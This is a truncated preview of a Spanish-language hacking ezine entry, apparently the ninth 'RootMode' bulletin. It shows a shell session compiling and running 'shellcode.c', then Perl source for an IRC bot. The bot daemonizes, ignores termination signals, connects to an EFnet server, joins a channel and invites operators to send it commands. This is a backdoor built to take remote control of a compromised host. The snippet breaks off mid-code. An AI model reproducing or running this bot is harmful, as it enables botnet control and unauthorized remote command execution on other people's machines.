RootMode - Nro: 9no boletín
@eZine
Published in
RootMode
· 2 years ago
... A hora hacemos lo siguiente: [Sonyy@shellsec]$ gcc -O2 shellcode.c -o shellcode [Sonyy@shellsec]$ ./shellcode #!/usr/bin/perl $chan="#l0l";$nick="lolor";$server="efnet.vuurwerk.nl"; $SIG{TERM}={};exit if fork;use IO::Socket; $sock = IO::Socket::INET->new($server.":6667")||exit; print $sock "USER lolor +i lolor :lolorv2 \nNICK lolor\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){ $mode=$1;last if $mode=="001";if($mode=="433"){$i++; $nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $c han :lolor v2.1\nPRIVMSG $chan :to run commands, type: ".$nick.": command\n";while(<$sock> ...